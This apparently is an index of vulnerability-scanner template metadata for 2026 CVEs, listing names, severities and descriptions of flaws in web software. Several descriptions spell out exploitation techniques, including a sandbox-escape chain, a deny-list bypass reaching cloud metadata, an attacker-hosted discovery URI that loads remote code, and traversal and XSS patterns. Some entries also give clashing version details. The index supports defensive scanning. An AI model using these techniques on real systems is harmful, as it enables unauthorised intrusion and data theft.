{"ID":"CVE-2026-33478","Info":{"Name":"AVideo \u003c= 26.0 - WWBN AVideo - Remote Code Execution","Severity":"critical","Description":"WWBN AVideo \u003c= 26.0 contains multiple vulnerabilities in the CloneSite plugin including unauthenticated exposure of clone secret keys and OS command injection in rsync command construction, letting unauthenticated attackers achieve remote code execution.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-33478.yaml"}
{"ID":"CVE-2026-33497","Info":{"Name":"Langflow \u003c 1.7.0 - Path Traversal","Severity":"high","Description":"Langflow \u003c 1.7.1 contains a path traversal caused by insufficient filtering of folder_name and file_name parameters in download_profile_picture endpoint, letting attackers read secret_key across directories, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-33497.yaml"}
{"ID":"CVE-2026-33534","Info":{"Name":"EspoCRM \u003c= 9.3.3 - Server-Side Request Forgery","Severity":"medium","Description":"EspoCRM \u003c= 9.3.3 contains an authenticated server-side request forgery caused by improper internal-host validation using alternative IPv4 formats in HostCheck::isNotInternalHost(), letting authenticated users access internal resources via /api/v1/Attachment/fromImageUrl endpoint.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-33534.yaml"}
{"ID":"CVE-2026-33626","Info":{"Name":"LMDeploy - Server-Side Request Forgery","Severity":"high","Description":"LMDeploy is a toolkit for compressing, deploying, and serving large language models. Versions prior to 0.12.3 have a Server-Side Request Forgery (SSRF) vulnerability in the vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal or private IP addresses, allowing unauthenticated attackers to access cloud metadata services, internal networks, and sensitive resources via the image_url parameter in /v1/chat/completions requests.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-33626.yaml"}
{"ID":"CVE-2026-33868","Info":{"Name":"Mastodon - Open Redirect","Severity":"medium","Description":"Mastodon version \u003c 4.5.8, \u003c 4.4.15, \u003c 4.3.21 is vulnerable to unauthenticated Open Redirect vulnerability (CWE-601) exists in the /web/* route due to improper handling of URL-encoded path segments.\n","Classification":{"CVSSScore":"4.3"}},"file_path":"http/cves/2026/CVE-2026-33868.yaml"}
{"ID":"CVE-2026-3395","Info":{"Name":"MaxSite CMS \u003c=109.1 - Remote Code Execution","Severity":"high","Description":"MaxSite CMS through 109.1 allows unauthenticated remote attackers to execute arbitrary code via the MarkItUp editor preview AJAX endpoint, preview-ajax.php. The endpoint insufficiently authenticates the request, failing to ensure the user is logged in, and processes the attacker's input via unsafe usage of PHP eval() on user-supplied [php]...[/php] shortcodes. By providing a POST request to the vulnerable /ajax/ endpoint with crafted input, attackers may achieve remote code execution. The issue is addressed in version 109.2 by implementing proper authentication controls.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2026/CVE-2026-3395.yaml"}
{"ID":"CVE-2026-3396","Info":{"Name":"WCAPF WooCommerce Ajax Product Filter - SQL Injection","Severity":"high","Description":"WCAPF WooCommerce Ajax Product Filter \u003c= 4.2.3 contains a time-based SQL injection caused by insufficient escaping of the 'post-author' parameter, letting unauthenticated attackers extract sensitive database information remotely.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-3396.yaml"}
{"ID":"CVE-2026-34036","Info":{"Name":"Dolibarr \u003c=22.0.4 - Local File Inclusion","Severity":"medium","Description":"Dolibarr \u003c= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-34036.yaml"}
{"ID":"CVE-2026-34156","Info":{"Name":"NocoBase - VM Sandbox Escape to Remote Code Execution","Severity":"critical","Description":"NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-34156.yaml"}
{"ID":"CVE-2026-34197","Info":{"Name":"Apache ActiveMQ - Remote Code Execution","Severity":"critical","Description":"Improper Input Validation, Improper Control of Generation of Code ('Code Injection') vulnerability in Apache ActiveMQ Broker, Apache ActiveMQ. Apache ActiveMQ Classic exposes the Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console. The default Jolokia access policy permits exec operations on all ActiveMQ MBeans (org.apache.activemq:*), including BrokerService.addNetworkConnector(String) and BrokerService.addConnector(String). An authenticated attacker can invoke these operations with a crafted discovery URI that triggers the VM transport's brokerConfig parameter to load a remote Spring XML application context using ResourceXmlApplicationContext. Because Spring's ResourceXmlApplicationContext instantiates all singleton beans before the BrokerService validates the configuration, arbitrary code execution occurs on the broker's JVM through bean factory methods such as Runtime.exec(). This issue affects Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.3; Apache ActiveMQ: . Users are recommended to upgrade to version 5.19.5 or 6.2.3, which fixes the issue.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-34197.yaml"}
{"ID":"CVE-2026-34234","Info":{"Name":"CtrlPanel \u003c= 1.1.1 - Remote Code Execution","Severity":"critical","Description":"CtrlPanel versions \u003c= 1.1.1 are vulnerable to unauthenticated Remote Code Execution (RCE) via the web installer endpoint (public/installer/index.php). The installer loaded and executed form handler files before checking for the install.lock gate, allowing attackers to reach installer forms on fully-deployed instances. User-supplied POST values (url, key, clientkey) from the Pterodactyl configuration form were interpolated directly into shell command strings executed via bash -c without sanitization, enabling command injection. The vulnerability is confirmed actively exploited in the wild.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-34234.yaml"}
{"ID":"CVE-2026-34413","Info":{"Name":"Xerte Online Toolkits \u003c= 3.15 - Remote Code Execution","Severity":"critical","Description":"Xerte Online Toolkits versions 3.15 and earlier expose the elFinder file manager connector at /editor/elfinder/php/connector.php without authentication (CVE-2026-34413), because the access-control redirect for unauthenticated users does not call exit()/die() and execution continues server-side. This is chained with a relative path traversal in the elFinder rename command (CVE-2026-34414) and an incomplete file-extension blocklist that still permits .php4 (CVE-2026-34415) to write an attacker-controlled PHP file into the application root, resulting in unauthenticated remote code execution.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-34413.yaml"}
{"ID":"CVE-2026-34453","Info":{"Name":"SiYuan \u003c= v3.6.1 - Bookmark Data Disclosure","Severity":"high","Description":"SiYuan v3.6.2 contains an information disclosure vulnerability caused by improper authorization checks in the publish service's bookmark filtering, letting unauthenticated visitors access bookmarked blocks from password-protected documents, exploit requires access to the publish service.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-34453.yaml"}
{"ID":"CVE-2026-34486","Info":{"Name":"Apache Tomcat Tribes EncryptInterceptor Bypass - Remote Code Execution","Severity":"critical","Description":"Missing Encryption of Sensitive Data vulnerability in Apache Tomcat due to the fix for CVE-2026-29146 allowing the bypass of the EncryptInterceptor. This issue affects Apache Tomcat: 11.0.20, 10.1.53, 9.0.116.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-34486.yaml"}
{"ID":"CVE-2026-34605","Info":{"Name":"SiYuan Note - Cross-Site Scripting","Severity":"medium","Description":"SiYuan Note through version 3.6.1 is vulnerable to unauthenticated reflected Cross-Site Scripting (XSS) in the `/api/icon/getDynamicIcon` endpoint due to improper filtering of SVG elements with a namespace prefix (such as `\u003cx:script\u003e`). By using a namespaced script element, attackers can bypass the `SanitizeSVG` function and execute arbitrary JavaScript in the victim’s browser upon visiting a crafted link.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-34605.yaml"}
{"ID":"CVE-2026-34847","Info":{"Name":"Hoppscotch \u003c= 2026.2.1 - Open Redirect","Severity":"medium","Description":"Hoppscotch \u003c= 2026.2.1 is vulnerable to a DOM-based open redirect on the /enter page. The redirect query parameter is passed directly to windowz location.href with no origin validation. Requires one additional query parameter to trigger. Exploited via a crafted URL such as /enter?redirect=evil.com\u0026foo=bar.\n","Classification":{"CVSSScore":"4.7"}},"file_path":"http/cves/2026/CVE-2026-34847.yaml"}
{"ID":"CVE-2026-34885","Info":{"Name":"WordPress Media Library Assistant \u003c= 3.34 - SQL Injection","Severity":"high","Description":"David Lingren Media Library Assistant \u003c= 3.34 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"8.5"}},"file_path":"http/cves/2026/CVE-2026-34885.yaml"}
{"ID":"CVE-2026-34908","Info":{"Name":"UniFi OS - Authentication Bypass via Path Traversal (..%2f)","Severity":"critical","Description":"UniFi OS devices contain an improper access control vulnerability caused by insufficient authorization checks, letting network attackers make unauthorized system changes, exploit requires network access.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-34908.yaml"}
{"ID":"CVE-2026-34910","Info":{"Name":"UniFi OS Server - Command Injection","Severity":"critical","Description":"A malicious actor with access to the network could exploit an Improper Input Validation vulnerability found in UniFi OS devices to execute a Command Injection.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-34910.yaml"}
{"ID":"CVE-2026-34976","Info":{"Name":"Dgraph \u003c=v25.3.0 - Admin Mutation Missing Authorization","Severity":"critical","Description":"Dgraph \u003c=v25.3.0 contains an authentication bypass caused by missing authorization middleware for the restoreTenant admin mutation, letting unauthenticated attackers overwrite the database, read files, and perform SSRF, exploit requires no authentication.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-34976.yaml"}
{"ID":"CVE-2026-35029","Info":{"Name":"LiteLLM - Arbitrary File Read","Severity":"high","Description":"LiteLLM \u003c 1.83.0 contains a broken access control vulnerability caused by lack of admin role enforcement on /config/update endpoint, letting authenticated users modify configurations, execute code, read files, and take over accounts.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-35029.yaml"}
{"ID":"CVE-2026-35037","Info":{"Name":"Ech0 \u003c 4.2.8 - Server-Side Request Forgery","Severity":"high","Description":"Ech0 before 4.2.8 exposes an unauthenticated SSRF vulnerability in GET /api/website/title. The website_url query parameter is fetched server-side without validating the target host or IP address.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-35037.yaml"}
{"ID":"CVE-2026-35273","Info":{"Name":"Oracle PeopleSoft PeopleTools PSEMHUB - Pre-Auth Java Deserialization RCE","Severity":"critical","Description":"Oracle PeopleSoft PeopleTools 8.61 and 8.62 contain a remote code execution vulnerability in Updates Environment Management, letting unauthenticated network attackers fully compromise the system, exploit requires network access via HTTP.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-35273.yaml"}
{"ID":"CVE-2026-35616","Info":{"Name":"FortiClient EMS - Authentication Bypass","Severity":"high","Description":"Detects whether Fortinet hotfix FG-IR-26-099 for CVE-2026-35616 is missing by comparing behavioral responses from a certificate-authenticated endpoint. The template sends X-SSL-CLIENT-VERIFY: SUCCESS without certificate material and checks whether this spoofed header changes server behavior.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-35616.yaml"}
{"ID":"CVE-2026-3576","Info":{"Name":"Planyo Online Reservation System \u003c= 3.0 - Arbitrary File Read","Severity":"high","Description":"The Planyo Online Reservation System plugin for WordPress through 3.0 ships ulap.php, an AJAX proxy that is directly reachable without WordPress bootstrapping or authentication. The send_http_post() function validates the host of the supplied URL against an allowlist that includes localhost, but never validates the URL scheme, so a file://localhost/ URL passes the host check and is handed to curl_init() or fopen(). Both support the file:// wrapper, so the contents of arbitrary local files are returned in the response.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-3576.yaml"}
{"ID":"CVE-2026-3584","Info":{"Name":"WordPress Kali Forms \u003c= 2.4.9 - Remote Code Execution","Severity":"critical","Description":"Kali Forms WordPress plugin \u003c= 2.4.9 contains a remote code execution caused by unsafe user input handling in 'form_process' and 'prepare_post_data' functions, letting unauthenticated attackers execute code on the server, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3584.yaml"}
{"ID":"CVE-2026-38360","Info":{"Name":"dash-uploader 0.1.0 - 0.7.0a2 - Unauthenticated Arbitrary File Write via Path Traversal","Severity":"critical","Description":"fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a directory traversal vulnerability caused by improper handling in dash_uploader/httprequesthandler.py components, letting remote attackers execute arbitrary code, exploit requires no special privileges.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-38360.yaml"}
{"ID":"CVE-2026-38361","Info":{"Name":"dash-uploader 0.1.0 - 0.7.0a2 - Denial-of-Service via flowTotalChunks","Severity":"high","Description":"fohrloop dash-uploader v0.1.0 through v0.7.0a2 contains a remote code execution caused by improper handling in Upload function and max_file_size parameter in dash_uploader components, letting remote attackers execute arbitrary code, exploit requires crafted request.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-38361.yaml"}
{"ID":"CVE-2026-3844","Info":{"Name":"Breeze \u003c= 2.4.4 - Arbitrary File Upload","Severity":"critical","Description":"Breeze Cache WordPress plugin \u003c= 2.4.4 contains an unrestricted file upload vulnerability caused by missing file type validation in 'fetch_gravatar_from_remote' function, letting unauthenticated attackers upload arbitrary files, exploit requires 'Host Files Locally - Gravatars' enabled.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3844.yaml"}
{"ID":"CVE-2026-3891","Info":{"Name":"Pix for WooCommerce \u003c= 1.5.0 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-3891.yaml"}
{"ID":"CVE-2026-39339","Info":{"Name":"ChurchCRM - API Authentication Bypass via URL Injection","Severity":"critical","Description":"ChurchCRM \u003c 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-39339.yaml"}
{"ID":"CVE-2026-39352","Info":{"Name":"Frappe Framework \u003c 16.15.0 - Arbitrary File Read via render_include Path Traversal","Severity":"medium","Description":"Frappe is a full-stack web application framework. Versions prior to 15.105.0 and 16.15.0 contain a possible Arbitrary File Read vulnerability via Path Traversal. The issue is resolved in versions 16.15.0, 15.105.0 and above.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2026/CVE-2026-39352.yaml"}
{"ID":"CVE-2026-39364","Info":{"Name":"Vite Dev Server - Directory Traversal","Severity":"high","Description":"Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a path containing dot segments (e.g., /.vite/../\u003cfilename\u003e) to bypass static file restrictions and access arbitrary files on the filesystem under the project root. The vulnerability allows access to files normally denied by Vite’s \"server.fs.deny\" setting, including sensitive files like .env, configuration files, or credentials in the project root. This issue has been fixed in versions 6.4.3, 6.3.4, and 5.4.23.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-39364.yaml"}
{"ID":"CVE-2026-39365","Info":{"Name":"Vite Dev Server - Path Traversal in Optimized Deps .map Handling","Severity":"medium","Description":"Vite development server versions prior to 8.0.5, 7.3.2, and 6.4.2 are vulnerable to path traversal through the optimized dependencies sourcemap handler. The dev server's handling of .map requests for optimized dependencies resolves file paths via normalizePath(path.resolve(root, url.slice(1))) and calls readFile without restricting ../ segments in the URL. This allows an attacker to bypass server.fs.strict and retrieve auto-generated sourcemaps for files located outside the project root, leaking absolute filesystem paths. Only dev servers explicitly exposed to the network using --host or server.host are affected.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-39365.yaml"}
{"ID":"CVE-2026-39468","Info":{"Name":"Meta Box \u003c= 5.11.1 - Arbitrary File Deletion","Severity":"high","Description":"The Meta Box plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the ajax_delete_file function. This makes it possible for authenticated attackers with Contributor-level access and above to delete arbitrary files on the server.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-39468.yaml"}
{"ID":"CVE-2026-39808","Info":{"Name":"Fortinet FortiSandbox - Command Injection","Severity":"critical","Description":"Fortinet FortiSandbox 4.4.0 through 4.4.8 contains a command injection caused by improper neutralization of special elements in OS commands, letting attackers execute unauthorized code or commands, exploit requires crafted input.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-39808.yaml"}
{"ID":"CVE-2026-40105","Info":{"Name":"XWiki - Cross-Site Scripting","Severity":"medium","Description":"XWiki is vulnerable to reflected Cross-Site Scripting (XSS) via the `viewer=changes` endpoint. The `rev2` parameter is not properly sanitised before being rendered in the response, allowing an attacker to inject arbitrary JavaScript. Affects XWiki versions prior to the patched release.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-40105.yaml"}
{"ID":"CVE-2026-40151","Info":{"Name":"PraisonAI AgentOS - Information Disclosure","Severity":"medium","Description":"PraisonAI's AgentOS FastAPI application server exposes an unauthenticated `GET /api/agents` endpoint that lists every registered agent's name, role and the opening of its instructions (system prompt). No authentication is enforced on the route, allowing a remote attacker to enumerate agent configurations and harvest sensitive details embedded in system prompts, such as internal API references, business logic and credential hints. This endpoint belongs to the AgentOS FastAPI server and is distinct from the legacy Flask `/agents` server tracked as CVE-2026-44338.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-40151.yaml"}
{"ID":"CVE-2026-4020","Info":{"Name":"Gravity SMTP WordPress Plugin - Sensitive Information Exposure","Severity":"high","Description":"Gravity SMTP WordPress plugin \u003c= 2.1.4 contains a sensitive information exposure caused by an unrestricted REST API endpoint at /wp-json/gravitysmtp/v1/tests/mock-data, letting unauthenticated attackers retrieve detailed system configuration data, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-4020.yaml"}
{"ID":"CVE-2026-40217","Info":{"Name":"LiteLLM \u003c 1.25.0 - Remote Code Execution","Severity":"high","Description":"LiteLLM before 1.25.0 allows authenticated users with the master API key to execute arbitrary Python code through the /guardrails/test_custom_code endpoint intended for custom guardrail testing. The endpoint’s insufficient filtering mechanisms can be bypassed, allowing attackers to abuse Python’s string operations and bytecode manipulation to break out of the restricted environment. Successful exploitation may lead to remote code execution as the LiteLLM process user, which may be root when using the default Docker image.\n","Classification":{"CVSSScore":"8.7"}},"file_path":"http/cves/2026/CVE-2026-40217.yaml"}
{"ID":"CVE-2026-40242","Info":{"Name":"Arcane \u003c= 1.17.2 - Server-Side Request Forgery","Severity":"high","Description":"Arcane \u003c= 1.17.3 contains an unauthenticated server-side request forgery caused by lack of URL scheme and host validation in /api/templates/fetch endpoint, letting remote attackers perform SSRF, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-40242.yaml"}
{"ID":"CVE-2026-40280","Info":{"Name":"Gotenberg \u003c= 8.30.1 - Server Side Request Forgery","Severity":"critical","Description":"Gotenberg is an API-based document conversion tool. In versions 8.30.1 and earlier, the default private-IP deny-lists for the --webhook-deny-list and --api-download-from-deny-list flags use a case-sensitive regular expression (^https?://) to match URL schemes. Because Go's net/url.Parse() normalizes the scheme to lowercase before establishing the outbound TCP connection, an attacker can bypass the deny-list by simply capitalizing part of the URL scheme (e.g., HTTP://, HTTPS://, or Http://). This allows unauthenticated requests to reach internal network services, including private IP ranges, loopback addresses, and cloud instance metadata endpoints such as HTTP://169.254.169.254/latest/meta-data.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2026/CVE-2026-40280.yaml"}
{"ID":"CVE-2026-40308","Info":{"Name":"My Calendar WordPress Plugin - Information Disclosure","Severity":"high","Description":"My Calendar WordPress plugin \u003c= 3.7.6 contains an injection vulnerability caused by unvalidated user input passed to parse_str() in mc_ajax_mcjs_action endpoint, letting unauthenticated attackers access or crash sites via switch_to_blog(), exploit requires WordPress Multisite or Single Site setup.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-40308.yaml"}
{"ID":"CVE-2026-40466","Info":{"Name":"Apache ActiveMQ - Remote Code Execution via HTTP Discovery Transport Bypass","Severity":"high","Description":"Apache ActiveMQ before 5.19.6 and 6.0.0 through 6.2.4 is vulnerable to remote code execution via a bypass of the CVE-2026-34197 security fix. The original fix blocked the \"vm://\" transport scheme in BrokerView.addNetworkConnector() and BrokerView.addConnector() to prevent authenticated attackers from loading malicious Spring XML configurations via the Jolokia API. However, the fix only denied the \"vm\" scheme. An attacker can bypass this restriction by using the HTTP Discovery transport(http://attacker/discovery), which is not in the denied scheme list. The attacker-controlled HTTP endpoint returns a vm:// transport URI as a second-stage response, which then loads a remote Spring XML application context, leading to arbitrary code execution on the broker JVM. The activemq-http module must be on the classpath (present by default in the \"all\" distribution), and authenticated access to the Jolokia API (/api/jolokia/) is required.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-40466.yaml"}
{"ID":"CVE-2026-4060","Info":{"Name":"Geo Mashup \u003c= 1.13.18 - SQL Injection","Severity":"high","Description":"Geo Mashup WordPress plugin \u003c= 1.13.18 is vulnerable to time-based SQL injection via the sort parameter. The issue exists because the sort value is insufficiently sanitized in render-map.php/template tag code paths.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-4060.yaml"}
{"ID":"CVE-2026-40878","Info":{"Name":"Mailcow \u003c 2026-03b - Href Link Injection","Severity":"low","Description":"mailcow \u003c 2026-03b reflects raw REQUEST_URI into JavaScript and href links on the login page, allowing attackers to inject parameters that break JS logic and enable phishing.\n","Classification":{"CVSSScore":"3.1"}},"file_path":"http/cves/2026/CVE-2026-40878.yaml"}
{"ID":"CVE-2026-40887","Info":{"Name":"Vendure Core - SQL Injection","Severity":"critical","Description":"Vendure, an open-source headless commerce platform built on Node.js/TypeScript, contains a critical SQL injection vulnerability in its Shop API. The languageCode query parameter is interpolated directly into a raw SQL CASE expression in ProductService.findOneBySlug without parameterization or input validation, allowing unauthenticated attackers to execute arbitrary SQL commands. This can lead to full database disclosure and denial of service.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-40887.yaml"}
{"ID":"CVE-2026-41042","Info":{"Name":"Apache Gravitino \u003c 1.2.1 - Unauthenticated Remote Code Execution","Severity":"critical","Description":"Apache Gravitino \u003c 1.2.1 contains a remote code execution caused by unsanitized H2 JDBC URL via testConnection API using H2's INIT parameter, letting unauthenticated attackers execute arbitrary Java code remotely, exploit requires H2 usage.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-41042.yaml"}
{"ID":"CVE-2026-4106","Info":{"Name":"HT Mega \u003c 3.0.7 - Sensitive Information Disclosure","Severity":"high","Description":"The HT Mega plugin for WordPress is vulnerable to Sensitive Information Exposure via AJAX actions. This template dynamically extracts the security nonce before exploitation.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-4106.yaml"}
{"ID":"CVE-2026-41176","Info":{"Name":"Rclone RC - Broken Access Control","Severity":"critical","Description":"Rclone \u003e= 1.45.0 and \u003c 1.73.5 contains a broken access control vulnerability caused by unauthenticated access to the RC endpoint `options/set` allowing mutation of global runtime configuration, letting unauthenticated attackers access sensitive administrative functions, exploit requires RC server started without global HTTP authentication.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-41176.yaml"}
{"ID":"CVE-2026-41179","Info":{"Name":"RClone RC - Command Injection","Severity":"critical","Description":"Rclone \u003e= 1.48.0 and \u003c 1.73.5 contains an unauthenticated local command execution caused by unauthenticated access to the RC endpoint operations/fsinfo with attacker-controlled fs input, letting unauthenticated attackers execute local commands, exploit requires reachable RC deployment without global HTTP authentication.\n","Classification":{"CVSSScore":"9.2"}},"file_path":"http/cves/2026/CVE-2026-41179.yaml"}
{"ID":"CVE-2026-41432","Info":{"Name":"New API \u003c v0.12.10 - Stripe Webhook Bypass","Severity":"high","Description":"New API \u003c v0.12.10 contains a broken authentication caused by unauthenticated attacker forging Stripe webhook events, letting attackers credit arbitrary quota without payment, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.1"}},"file_path":"http/cves/2026/CVE-2026-41432.yaml"}
{"ID":"CVE-2026-41452","Info":{"Name":"Krayin CRM \u003c 2.2.1 - Installer Authentication Bypass","Severity":"critical","Description":"Krayin CRM 2.2.4 contains a missing authentication vulnerability in the installer middleware caused by bypassing the CanInstall middleware redirect check via crafted HTTP POST requests, letting unauthenticated remote attackers overwrite the primary administrator account and gain full administrative access, exploit requires crafted HTTP POST with specific header.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-41452.yaml"}
{"ID":"CVE-2026-41456","Info":{"Name":"Bludit CMS \u003c= 3.20.0 - Cross-Site Scripting","Severity":"medium","Description":"Bludit CMS contains a reflected XSS caused by improper sanitization in the search plugin, letting unauthenticated attackers inject arbitrary JavaScript, exploit requires crafted malicious search query.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-41456.yaml"}
{"ID":"CVE-2026-41492","Info":{"Name":"Dgraph \u003c= 25.3.2 - Admin Token Disclosure","Severity":"critical","Description":"Dgraph \u003c= 25.3.2 contains an information disclosure caused by unauthenticated access to the /debug/vars endpoint , which publishes the cmdline variable including the --security token= flag, letting unauthenticated remote attackers retrieve the admin token and access admin-only endpoints, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-41492.yaml"}
{"ID":"CVE-2026-41640","Info":{"Name":"NocoBase - SQL Injection","Severity":"high","Description":"NocoBase versions prior to 2.0.39 contain a SQL injection vulnerability in the @nocobase/database package. The queryParentSQL function in eager-loading-tree.ts constructs a recursive CTE query by directly concatenating user-controlled primary key values into the SQL WHERE IN clause without parameterization. An authenticated attacker with record creation permissions on a tree collection with string-type primary keys can inject arbitrary SQL via crafted record identifiers, enabling full database compromise including data exfiltration and modification.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-41640.yaml"}
{"ID":"CVE-2026-41641","Info":{"Name":"NocoBase - SQL Injection","Severity":"high","Description":"NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2026/CVE-2026-41641.yaml"}
{"ID":"CVE-2026-41679","Info":{"Name":"Paperclip - Remote Code Execution","Severity":"critical","Description":"Paperclip \u003c 2026.416.0 contains a remote code execution caused by a chain of six unauthenticated API calls in authenticated mode with default configuration, letting unauthenticated attackers execute arbitrary code remotely, exploit requires network access to the target.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-41679.yaml"}
{"ID":"CVE-2026-41940","Info":{"Name":"cPanel \u0026 WHM - Authentication Bypass via Session-File CRLF Injection","Severity":"critical","Description":"cPanel and WHM versions prior to 11.110.0.97, 11.118.0.63, 11.126.0.54, 11.132.0.29, 11.134.0.20, and 11.136.0.5 contain an authentication bypass vulnerability in the login flow that allows unauthenticated remote attackers to gain unauthorized access to the control panel.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-41940.yaml"}
{"ID":"CVE-2026-41948","Info":{"Name":"Dify \u003c=1.14.1 - Unauthenticated Plugin Daemon Path Traversal","Severity":"critical","Description":"Dify version 1.14.1 and prior are affected by an unauthenticated path traversal in the Plugin Daemon icon proxy endpoint. The /console/api/workspaces/current/plugin/icon endpoint requires no authentication and passes the filename query parameter unsanitized into the internal Plugin Daemon REST API URL. Using ../ dot-sequence traversal an attacker escapes the authorized plugin/{tenant_id}/asset/ namespace and reaches arbitrary internal Plugin Daemon endpoints. The /health/check endpoint is always available and returns Plugin Daemon version, build time and pool status confirming exploitation.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-41948.yaml"}
{"ID":"CVE-2026-42031","Info":{"Name":"CKAN DataStore SQL Search - SQL Injection","Severity":"high","Description":"CKAN, an open-source data management system used for powering open data portals, contains an unauthenticated SQL injection vulnerability in the datastore_search_sql API endpoint.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-42031.yaml"}
